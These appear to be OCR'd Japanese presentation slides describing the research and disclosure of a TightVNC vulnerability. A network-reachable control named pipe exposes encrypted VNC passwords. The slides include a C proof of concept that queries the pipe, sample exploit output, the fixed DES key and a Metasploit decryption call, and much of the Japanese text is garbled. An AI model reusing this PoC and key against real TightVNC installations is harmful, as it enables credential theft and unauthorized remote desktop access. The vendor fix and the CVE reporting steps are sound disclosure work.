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e CVE
CVE-2023-27966: macOS App Sandbox escape (>$10,000, Apple Inc.) :
CVE—-2024—-XXXXX: Remotely accessible TightVNC passwords (GlavSoft LLC)

CVE-2024-XXXXX: RCE * 2 + LPE
CVE—-2024-XXXXX: RCE * 3 (Vuln * 5)
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CVE-2023-21777 | CVEIEHR | He55iEa2ht (EF U7« 28T ...

v1d TR IPDAND, JVAZY Y4 71T 7. BEZE. Azure Stack Hub [C&. #ER%Z FI&S
N3EEUENEFELET, FEEZTEZVATABLUV/N—I'3 . Azure App ...
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TightVNCIZX L TYEB—FNB/INRT—RZEFEA A A A BELLBESE 14E

445/tcp (SMB)
. - \\client1.ierae.local\pipe\TightVNC_Service_ Control

<
. - the encrypted primary password -

the encrypted readonly password

: the encrypted control password
attacker.ierae.local client1.ierae.local

user: attacker A user: user1

¢ decrypt the passwords with the fixed DES encryption key

connect to TightVNC using the decrypted password







TightVNC &I

TightVNC 2.8.81 (2023/05/04)

A2 A—>: https://www.tightvnc.com/download/2.8.81 /tightvnc—2.8.81-
gpl-setup—64bit.msi

v)— XA —N: https://www.tightvnc.com/download/2.8.81/tightvnc—2.8.81-
src—gpl.zip

W - TightVNC Viewer

BHED I S| @ By @ @a|F

E TightVNC Service Configuration

_ Server Extra Ports Access Control  Video  Administration
Recycle Bin

Incoming Viewer Connections Web Access

Accept incoming connections Serve Java Viewer to Web clients

Main server port: 5500 O Web access port: 5800  *
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BRI RI TSI T DEE
A —TiR—k: TCP/UDPE{ED A O

tvnserver.exe —service

- :

recv(), recvfrom()
WSARecv(), WSARecvFrom()

send(), sendto()
WSASend(), WSASendTo()
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tvnserver.exe —service

TightVNC Service Configuration

\ > Access Control  Video  Administration
Incoming Viewer Connections Web Access

C 0 n n e Ct N a m e d P I p e( ! Accept incoming connections Serve Java Viewer to Web dients
Read F| Ie() ; erte F| | e() Main server port: 5000 |5 Web access port: 5800 |5

Require YMC authentication

Input Handling
P s [ Block remote input events
Change... Lz [ Block remote input on local activity

View-only password:

Set...

Miscellaneous Update Handling
Enable file transfers Use D3D driver if available

Hide desktop wallpaper Use mirror driver if available

IHNEEEE

Show icon in the notification area Screen poling cyde: 1000 5| ms

[] Connect to RDP session

tvnserver.exe —controlservice —slave
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A e

# A—T 2 R—k

— Process Hacker
https://processhacker.sourceforge.io/

# ZBRIMTENLD
— Get—ProcessPipes.ps1
https://gist.github.com/Wra7h/62b42c8a2219ae94d865¢c1c2f7196¢e61
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0.0.0.0 5800/tcp: tvnserver.exe —service
0.0.0.0 5900/tcp: tvnserver.exe —service

>

1% Process Hacker | ® mm " aml (Administrator)

Hacker View Tools Users Help
@ Refresh a';?;J!‘/‘Options @ Find handles or DLLs \ﬁ\ System information Hj @ x

Processes Services Network Disk
Remote port Proto... State

TCP Listen

Local address Local port Remote address

Nitvnserver.exe (1716) 0.0.0.0 5800
TCP Listen

tvnserver.exe (1716) 0.0.0.0 5900

Name




PRI RIS I T DETE

¥¥ ¥pipe¥TVN _log pipe public name: tvnserver.exe —service
¥¥ ¥pipe¥TightVNC_Service_Control: tvnserver.exe —service

PS C:\Users\kawada\Desktop> Get-ProcessPipes

ProcessID ProcessName NamedPipe
31 pdordn. e Ll LA b I E T
B8 Tapas.unn = halpetiL=as
hd ar sl s L R ) B L s
AL92 anEvEf K e L alpA e T
TP s mwrd = W iy, THEM el -
1LT1 T =N k3 LAl Al
J527 snEvml 1w sl e Lo
SEdd ~a. Er ]l e " epdeu
edd AMEFAIS K L :|J.|:-I|'Erl-.|-|l
TH° 3 == mwrd =01 =_| |'I LR
TR = T W Lalpee lln-a:.r-Li
=121 o perdsnzalicrt . son v dps b cdegwak o 2150
rEId i el 2n Sdipm ERN A
1716 tvnserver.exe \\.\pipe\TVN_log_pipe_public_name

1716 tvnserver.exe \\.\pipe\TightVNC_Service_Control
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# tvnserver.exe —service
- A—TiR—k
0.0.0.0 5800/tcp
0.0.0.0 5900/tcp

- ZBRIfFEN(T
¥¥ ¥pipe¥TVN log pipe_public name
¥¥ ¥pipe¥TightVNC_Service Control
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# tvnserver.exe —service
- A—TiR—k
0.0.0.0 5800/tcp
0.0.0.0 5900/tcp

- ZRIMTENAT
¥¥ ¥pipe¥TVN log pipe_public name



{PS C:\Windows\system32> Import-Module NtObjectManager
PS C:\Windows\system32> $a = Get-NtNamedPipeFile "\Device\NamedPipe\TightVNC_ Service Control"
~|[PS C:\Windows\system32> $a.SecurityDescriptor.Dacl

'fEType User Flags Mask

~ |lAllowed Everyone ObjectInherit, ContainerInherit @@1F@1FF XA KK

PS C: \wlndows\system32> -




PRI RIS I T DETE

tvnserver—app/ TvnServer.cpp

m_log.message(_T("Starting control server"));

try {

}

}

StringStorage pipeName;
ControlPipeName: :createPipeName(isRunningAsService(), &pipeName, &m_log);

// FIXME: Memory leak

SecurityAttributes xpipeSecurity = new SecurityAttributes();
pipeSecurity->setInheritable();
pipeSecurity->shareToAllWsers() ;|

const unsigned int maxControlServerPipeBufferSize = 0x10000;

PipeServer xpipeServer = new PipeServer(pipeName.getString(), maxControlServerPipeBuffer
m_controlServer = new ControlServer(pipeServer , m_rfbClientManager, &m_log);

catch (Exception &ex) {

m_log.error(_T("Failed to start control server: \"%s\""), ex.getMessage());




PRI RIS I T DETE

tvnserver—app/ TvnServer.cpp

void SecurityAttributes::shareToAllUsers()

{
SecurityIdentifier localUsers(_T("S-1-1-0"));

EXPLICIT_ACCESS explisitAccess;
ZeroMemory (&explisitAccess, sizeof(EXPLICIT_ACCESS));

// All access for local users.

explisitAccess.grfAccessPermissions = GENERIC_ALL;
explisitAccess.grfAccessMode = SET_ACCESS;
explisitAccess.grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT;
explisitAccess.Trustee.TrusteeForm = TRUSTEE_IS_SID;
explisitAccess.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
explisitAccess.Trustee.ptstrName = (LPTSTR)localUsers.getSid();
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# BRIARAT

— x64dbg
https://x64dbg.com/

# BRHOREAT

— IDA Pro
https://hex—-rays.com/ida—pro/
— Ghidra
https://ghidra—sre.org/

# Windows APIDES$R
— Frida
https://frida.re/



ARSI\ T T LB DFET

ReadFileBIZH DU H LT E
Modules

kernel32 .dl1 ReadFile
00007FFD39070810 ReadFile Ex
00007FFD39070820 ReadFile Scatter
00007FFD390F36FB BuildIoRing ReadFile

00007FFD390D45D0 kernelbase. ReadFile
0O0007FFD390D45D8 kernelbase. ReadFile Ex
0O0O007FFD390D45EO kernelbase. ReadFile Scatter
00007FFD390D6270 ntdl1.Nt ReadFile

CPU

- FF25 CA3D0600 jmp gword ptr ds:[<ReadFile> ]
00007FFBF9FA0806 CC int3
0000/FFBF9FA0807 CC int3
00007FFBF9FA0808 CC int3

00007FFBFI9FA0809 CC int3
00007FFBFI9FAO80A CC int3
00007FFBFI9FAO80B CC int3




BRITESINAT(CEY SN E DT

ReadFileBE#H DU H L ThEE
H7J)La— Pfﬂ%@%ﬁujﬁéleaffﬂ WKIEVPHLTCHAEEFTED

00007FFE59D5964A

e | 00007FFE59D5964B C:\Users\kawada>cd Desktop\tightvnc
00007FFE59D5964C

C:\Users\kawada\Desktop\tightvnc>sample.exe

gword ptr ds:[00007FFE59DC4E38 <kernel32.ConnectName

.text:00007FFE59D59620 kernel132.d11:$19620 #19620 <¢

ke Dump 1 ke Dump 2 ke Dump 3 e Dump 4

Address Hex

00007FFE5BFFO000 | 4D 5A 00(03 00 00
00007FFE5BFF0010 | B8 00 00(00 00 00
00007FFE5BFF0020 | 00 00 00(00 00 00
00007FFE5BFF0030 | 00 00 00|00 00 00
00007FFE5BFF0040 | OE 1F OE |00 B4 09
00007FFE5BFF0050 |69 73 70|72 6F 67
00007FFE5BFF0060 | 74 20 65|20 72 75
00007FFE5BFF0070 | 6D 6F 65|2E OD OD
00007FFE5BFFO080 | 5E C4 CD|1A A5 4F
00007FFE5BFF0090 | 1A A5 9E|1B A5 4F

00007FFE5BFFOOAO | 51 DD 9F |36 A5 4F
| 0NNN7EEcESREENNRN | §1 pn 42 aE

Command: Commands are comma separated (1ike

Paused INT3 breakpoint at <kernel32.ConnectNamedPipe> (0C
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Fridaz FAL/=ReadFile %% . WriteFile B2k D E5 %R

[Local::PID::3516 ]->




ARSI T 2R S0 DAZHT

ReadFileEE%4 D 5| %

C++

Syntax
BOOL ReadFile(
[in] HANDLE hFile,
[out] LPVOID lpBuffer,
[in] DWORD nNumberOfBytesToRead,
[out, optionall LPDWORD LpNumberOfBytesRead,

[in, out, optionall LPOVERLAPPED 1pOverlapped

rcx 00000000000002C8 00000000000002C8
rdx 0000000002DOF888 0000000002DOF888
r8 0000000000000004 0000000000000004

r9 0000000002DOF850 0000000002DOF850
[rsp+28] 0000000002DOF750 0000000002DOF750

™ Copy



ARSI\ T T LB DFET

ReadFile B DIEU HE LT E
Execute till return + Step over (Step into)

FF15 OE3C0500 call gword ptr ds:[<ReadFile> ]
00007FF78B7BB81A 85C0 test eax,eax
00007FF78B7BB81C OF95C3 setne bl
00007FF78B7BB81F 48 :8D4C24 30 lea rcx,gword ptr ss:[[rsp+30]
00007FF78B7BB824 E8 F783FFFF call tvnserver.7FF78B7B3C20
00007FF78B7BB829 84DB test bl,bl
00007FF78B7BB82B OF85 6F010000 jne tvnserver.7FF78B7BB9A0
00007FF78B7BB831 FF15 B93C0500 call gword ptr ds:[<GetLastError> |
00007FF78B7BB837 3D E5030000 cmp eax, 3ES
00007FF78B7BB83C OF85 DD0O000O0O0 jne tvnserver.7FF78B7BB91F
00007FF78B7BB842 48 : 8D4F 38 lea rcx,qword ptr ds:[rdi+38]
0O0007FF/78B7BB846 83CA FF or edx, FFFFFFFF
00007FF78B7BB849 E8 22C2FFFF call tvnserver.7FF78B7B7A70
00007FF78B7BB84E Cc78424 50010000 0000( mov dword ptr ss:[rsp+150],0
00007FF78B7BB859 48 :8D57 08 lea rdx,qword ptr ds:[rdi+8]
00007FF78B7BB85D 48 :8D4C24 30 lea rcx,gword ptr ss:[[rsp+30]
00007FF78B7BB862 E8 8983FFFF call tvnserver.7FF78B7B3BFO
00007FF78B7BB867 90 nop
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ReadFileBIZH DU H LT E
Modules

Base Module

S
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ReadFile B DIEU HE LT E
Edit > Segments > Rebase program...
rl3,

lea
mov

?
lea [2hse Please enter the new
mov [rsp+
xor edi, e
mov [rsp+ @ Address of the first segment
lea reX, [ @ shift delta
call sub 14
Jas r11, [ ® Image base
mov [rsp+

Y // start yaie (0xX00007FF78B730-

L
J
® & =

loc 1400010B2: DRI e PR

;0 try {
lea rl4, ?? 7°?
mov [rsp+ +

v Rebase the whole image

OK | Cancel Help

?
[rsp+ f,‘ Rebase the whole progr... X
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ReadFile B DIEU HE LT E
Jump > Jump to address...

loc_7FF78B7BB7F9:
lea
mov
lea
mov
mov
mov
.text :00007FF78B7BB814 call
test
setnz

; CODE XREF: sub 7FF78B7BB760+741]j
rax, [rsp+138h+0verlapped]
[rsp+138h+1pOverlapped], rax ; lpOverlapped
r9, [rsp+138h+NumberOfBytesRead] ; lpNumberOfBytes

r8d, esi 3 nNumberOfBytesToRead
rdx, rbx ; lpBuffer

rcx, rbp ; hFile

cs:ReadFile

eax, eax

bl

5 } // starts at 7FF78B7BB7DO
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ReadFile B DIEU HE LT E
Jump > Jump to address...

if ( a4 == (void *)-1LL )
{
sub_7FF78B7BCACO(pExceptionObject, L"Invalid pipe handle");
CxxThrowException(pExceptionObject, (_ThrowInfo *)& TI2 AVIOException );
}
v9 = ReadFile(a4, a2, v5, &NumberOfBytesRead, &0verlapped);
sub_7FF78B7B3C20(v20);
it ( 'v9 )
{
if ( GetLastError() != 997 )
{
Concurrency::details:: AsyncTaskCollection:: AsyncTaskCollection(
(Concurrency: :details:: AsyncTaskCollection *)pExceptionObject,
v1o);
LODWORD(1pOverlapped) = v5;
sub_7FF78B7B28D0(
pExceptionObject,
L"The Pipe's write function failed after ReadFile calling(pipe handle is %p, total read
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ReadFileF#Z2FUH L TLWABEMOEVNH L TEE

__inte4  fastcall ReadNamedPipe( int64 al)
{
unsigned  int64 v2; // rbx
__inte4 v3; // rdi
__int64 v4; // rax
unsigned _ int8 v6; // [rsp+38h] [rbp+10h] BYREF
unsigned  int8 v7; // [rsp+39h] [rbp+1llh]
unsigned  int8 v8; // [rsp+3Ah] [rbp+12h]
unsigned  int8 v9; // [rsp+3Bh] [rbp+13h]

v2 = OLL;
v3 = 4LL;
do

{

N4 = (*(_inte4 (__fastcall **)(_QWORD, char *, int64))(**( _QWORD **)(al + 8) +
*(_QWORD *)(al + 8),
(char *)&v6 + v2,
v3);

V2 += V4,
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ReadFileFd#I TZITH>T= A FT{ED LD

while ( 1)
1
result = sub_7FF78B7B3F80(al);
if ( (_BYTE)result )
return result;
message id = ReadNamedPipe(*( _QWORD *)(al + 40));
size = (unsigned int)ReadNamedPipe(*( _QWORD *)(al + 40));
sub_7FF78B7BD740(*(_QWORD *)(al + 336), L"Recieved control message ID %u, size %u"
v33 = v4 + 1;
if (v4 +1==10 * ((v4 + 1) / 10) )
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ReadFileFd#I TZITH>T= A FT{ED LD

switch ( message id )
{
case 4u:
write log(*(_QWORD *)(al + 336), L"Control client requests client list");
sub_7FF78B73D1EQ(al);
break;
case 5u:
write log(*(_QWORD *)(al + 336), L"Command requested: Reload configuration");
sub_7FF78B7BC360(*(_QWORD *)(al + 40) + 16LL, OLL);
sub_7FF78B7B3BFO(v26, &unk 7FF78B8CE538);
vl7 = qword 7FF73B8CE488;
sub_7FF78B7B3C20(v26);
sub_7FF78B766660(v17, *(unsigned _ int8 *)(vl7 + 528));
break;
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ReadFileFd#I TZITH>T= A FT{ED LD

switch ( message id )

{

case 0x1Qu:
write log(*(_QWORD *)(al + 336), L"Control client sends new server config");
sub_7FF78B73D6E@(al);
break;

case 0x1llu:
write log(*(_QWORD *)(al + 336), L"Control client requests server info");
sub_7FF78B73D3C0(al);
break;

case Ox12u:
write log(*(_QWORD *)(al + 336), L"Control client requests server config");
sub_7FF78B7BC360(*(_QWORD *)(al + 40) + 16LL, OLL);
vl8 = *(_QWORD *)(al + 40);

if ( vl8 )

v1l9 = v18 + 16;
else

v1l9 = OLL;

sub_7FF78B7B3BFO(v28, &unk_7FF78B8CE538);
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tvnserver—app/ControlClient.cpp > ControlClient::execute()

void ControlClient::execute()

{
// Client passes authentication by default if server does not uses control ay
if (!Configurator::getInstance()->getServerConfig()->isControlAuthEnabled())
m_authPassed = true;
}
int i = 0;
try {

while ('isTerminating()) {
UINT32 messageld = m_gate->readUInt32();
UINT32 messageSize = m_gate->readUInt32();

m_log—>debug(_T("Recieved control message ID %u, size %u"),
(unsigned int)messageld, (unsigned int)messageSize);
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tvnserver—app/ControlClient.cpp > ControlClient::execute()

switch (messageld) {

case ControlProto::AUTH_MSG_ID:
m_log->detail(_T("Control authentication requested"));
authMsgRcdv () ;
break;

case ControlProto: :RELOAD_CONFIG_MSG_ID:
m_log—>detail(_T("Command requested: Reload configuration"));
reloadConfigMsgRcvd();
break;

case ControlProto: :DISCONNECT_ALL_CLIENTS_MSG_ID:
m_log—>detail(_T("Command requested: Disconnect all clients command requested"));
disconnectAlWMsgRcvd();
break;

case ControlProto: :SHUTDOWN_SERVER_MSG_ID:
m_log—>detail(_T("Command requested: Shutdown command requested"));
shutdownMsgRcvd () ;
break;
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tvnserver—app/ControlClient.cpp > ControlClient::execute()

case ControlProto::GET_CLIENT_LIST MSG_ID:

m_log—>detail(_T("Control client requests client 1list"));

getClientsListMsg static const UINT32 ControlProto::GET_CONFIG_MSG_ID = 18U

break;

case ControlProto::
m_log->detail(_T(
setServerConfigMs
break;

case ControlProto::FET CONFIG MSG ID:
m_log—>detail(_T("Control client requests server config"));
getServerConfigMsgRcvd();
break;

Get current configuration of TightVNC server.
Request body: [empty].

Reply body:

serialized ServerConfig.
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server—config—lib/ServerConfig.cpp > ServerConfig:serialize()

AutoLock 1(this);

output->writeInt32(m_rfbPort);
output—>writeInt32(m_httpPort);
output->writeInt8(m_enableFileTransfers ? 1 : 0);
output->writeInt8(m_removeWallpaper ? 1 : 0);
output—>writeInt8(m_D3DAllowed ? 1 : 0);
output->writeInt8(m_mirrorDriverAllowed ? 1 : 0);
output->writeInt32(m_disconnectAction);
output—>writeInt8(m_acceptRfbConnections ? 1 : 0);
output—->writeInt8(m_acceptHttpConnections ? 1 : 0);
output—>writeFully(m_primaryPassword, VNC_PASSWORD_SIZE);
output—>writeFully(m_readonlyPassword, VNC_PASSWORD_SIZE);
output—>writeFully(m_controlPassword, VNC_PASSWORD_SIZE);







PoCDEZE

# BERASKH

v' SMB (445/tcp) ~ D@ A Al HE

vV WInhOI—HELTEREEA AIEE
Active Directory (or Microsoft Entra ID)

B/ %8R
s

B IEEINT=NRT—FDFHRHAIAH + EFITE>TTightVNCIZHE#E Al 5E
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PoCDZ=E

445/tcp (SMB)
\\client1.ierae.local\pipe\TightVYNC_Service_ Control

<
. the encrypted primary password .

the encrypted readonly password

: the encrypted control password
attacker.ierae.local client1.ierae.local

user: attacker A user: user

¢ decrypt the passwords with the fixed DES encryption key

connect to TightVNC using the decrypted password




PoCDZEZE

int command = 0x12;
printf(" [+] command: 0x%04x\n", command);
command = swap_int(command);
DWORD dwBytesToWrite = 4;
DWORD dwBytesWritten = 0;
BOOL bErrorFlag = FALSE;
bErrorFlag = WriteFile(hPipe, &command, dwBytesToWrite, &dwBytesWritten, NULL);
if (bErrorFlag == FALSE) {
printf("[!] WriteFile() error=0x%04x\n", GetLastError());
¥
printf("[+] dwBytesWritten: %d\n", dwBytesWritten);

int num = 0x0;
dwBytesWritten = 0;
bErrorFlag = FALSE;
bErrorFlag = WriteFile(hPipe, &num, dwBytesToWrite, &dwBytesWritten, NULL);
if (bErrorFlag == FALSE) {
printf("[!] WriteFile() error=0x%04x\n", GetLastError());

¥
printf("[+] dwBytesWritten: %d\n", dwBytesWritten);




PoCDZEZE

readNamedPipeInt32(hPipe, "REPLY");
readNamedPipeInt32(hPipe, "m_rfbPort");
readNamedPipeInt32(hPipe, "m_httpPort");
readNamedPipeInt8(hPipe, "m_enableFileTransfers");
readNamedPipeInt8(hPipe, "m_removeWallpaper");
readNamedPipeInt8(hPipe, "m_D3DAllowed");
readNamedPipeInt8(hPipe, "m_mirrorDriverAllowed");
readNamedPipeInt32(hPipe, "m_disconnectAction");
readNamedPipeInt8(hPipe, "m_acceptRfbConnections");
readNamedPipeInt8(hPipe, "m_acceptHttpConnections");

readNamedPipeVNC (hPipe, "m_primaryPassword");
readNamedPipeVNC(hPipe, "m_readonlyPassword");
readNamedPipeVNC(hPipe, "m_controlPassword");

readNamedPipeInt8(hPipe, "m_useAuthentication");
readNamedPipeInt8(hPipe, "m_onlyLoopbackConnections");
readNamedPipeInt8(hPipe, "m_enableAppletParamInUrl");
readNamedPipeInt32(hPipe, "m_logLevel");
readNamedPipeInt8(hPipe, "m_useControlAuth");
readNamedPipeInt8(hPipe, "m_controlAuthAlwaysChecking");
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C:\Users\attacker\Desktop>exploit.exe clientl.ierae.local
[+] command: ©6x0012
[+] dwBytesWritten: 4
[+] dwBytesWritten: 4
[+] REPLY: ©x0000
[+] m_rfbPort: exl76c
[+] m_httpPort: ©6x16a8
[+] m_enableFileTransfers: 1
[+] m_removeWallpaper: 1
[+] m _D3DAllowed: 1
[+] m_mirrorDriverAllowed: 1
[+] m_disconnectAction: ©x0000
[+] m_acceptRfbConnections: 1
+] m_acceptHttpConnections: 1
+]| m_primaryPassword: 31 7C 13 D

[+] m_readonlyPassword: 060 ©©

+] m controlPassword: 60 060

[+] m _useAuthentication: 1

[+] m_onlylLoopbackConnections: ©
[+] m_enableAppletParamInUrl: 1




PoCDEZE

C:\Users\attacker\Desktop>exploit.exe clientl.ierae.local
[+] command: ©x0012

[+] dwBytesWritten: 4

[+] dwBytesWritten: 4

[+] REPLY: ©x0000

[+] m_rfbPort: ©6x176c

[+] m_httpPort: ©x16a8

[+] m_enableFileTransfers: 1

const UINT8 VncPassCrypt::m_key[] = { 23, 82, 107, 6, 35, 78, 88, 7 };

[+] m_acceptRfbConnections: 1

[+] m_acceptHttpConnections: 1

[+] m_primaryPassword: 31 7C 13 DD BS5 44 C6 C/
[+] m_readonlyPassword: 60 60 60 00 60 00 060 00
[+] m controlPassword: 60 60 60 60 60 60 00 00
[+] m_useAuthentication: 1

[+] m_onlylLoopbackConnections: ©

[+] m_enableAppletParamInUrl: 1




PoCDEZE

C:\Users\attacker\Desktop>exploit.exe clientl.ierae.local
[+] command: ©x0012
[+] dwBytesWritten: 4
[+] dwBytesWritten: 4
[+] REPLY: ©x0000

[+] m_rfbPort: ©6x176c
[+] m httpPort: Ox16a8

>> fixedkey =

s
>>
—
>>
—

require
false
Rex :: Proto :: RFB:: Cipher.decrypt [

1.pack(

), fixedkey

[+]

-

m acceptHttpConnections: 1

m_primaryPassword: 31 7C 13 DD BS 44 C6 C7/

[+] m_readonlyPassword: 60 60 60 00 60 00 060 00

-

| | m controlPassword: 60 00 60 60 00 00 00 ©0

[+] m_useAuthentication: 1
[+] m_onlylLoopbackConnections: ©
[+] m_enableAppletParamInUrl: 1
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TightVNC 2.8.84

e Server for Windows: Disabled the ability to connect to the control pipe via a network
connection (bug #1629).

e Server for Windows: Disabled the transmission of passwords through the pipe from
the server to the control application.

e Server for Windows: The server now only accepts control connections from processes
launched from the same path as the server itself (Windows Vista and later).
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void PipeServer::createServerPipe()

{
m_serverPipe = CreateNamedPipe (m_pipeName.getString(), //
PIPE_ACCESS_DUPLEX | //
FILE_FLAG_OVERLAPPED, //
PIPE_TYPE_BYTE | //
PIPE_READMODE_BYTE | //
PIPE_REJECT_REMOTE_CLIENTS |
PIPE_WAIT, //
PIPE_UNLIMITED_ INSTANCES, //
m_bufferSize, //
m_bufferSize, //
9, //

m_secAttr != 0 ? //

);

pipe name
read/write access
overlapped mode
message type pipe
message—-read mode
// -SF-#1629 -fix
blocking mode

max. instances
output buffer size
input buffer size
client time-out
security attributes

m_secAttr->getSecurityAttributes() : 0
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— Report/Request for Non—CNAs
https://www.cve.org/ReportRequest/ReportRequestForNonCNAs

Report/Request for Non-CNAs

Report/Request
Anyone can request a CVE ID for a vulnerability or request an update to an existing CVE Record. Learn

more on the Process page. CNAs

Non-CNAs
Request a CVE ID
Request A
Other contributors (not a CNA) follow the instructions below. CVEID

Update A CVE
Record

E| Find the CVE Numbering Authority (CNA)

Find the CNA partner whose scope includes the product affected by the vulnerability
on the List of Partners page or in the search box below.
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— Submit a CVE Request
https://cveform.mitre.org/

Submit a CVE Request
* Required

* Select a request Report Vulnerability/Request CVE ID
type

* Enter your e-mail

address

IMPORTANT: Please add cve-
request@mitre.org and cve@mitre.org as
safe senders in your email client before
completing this form.
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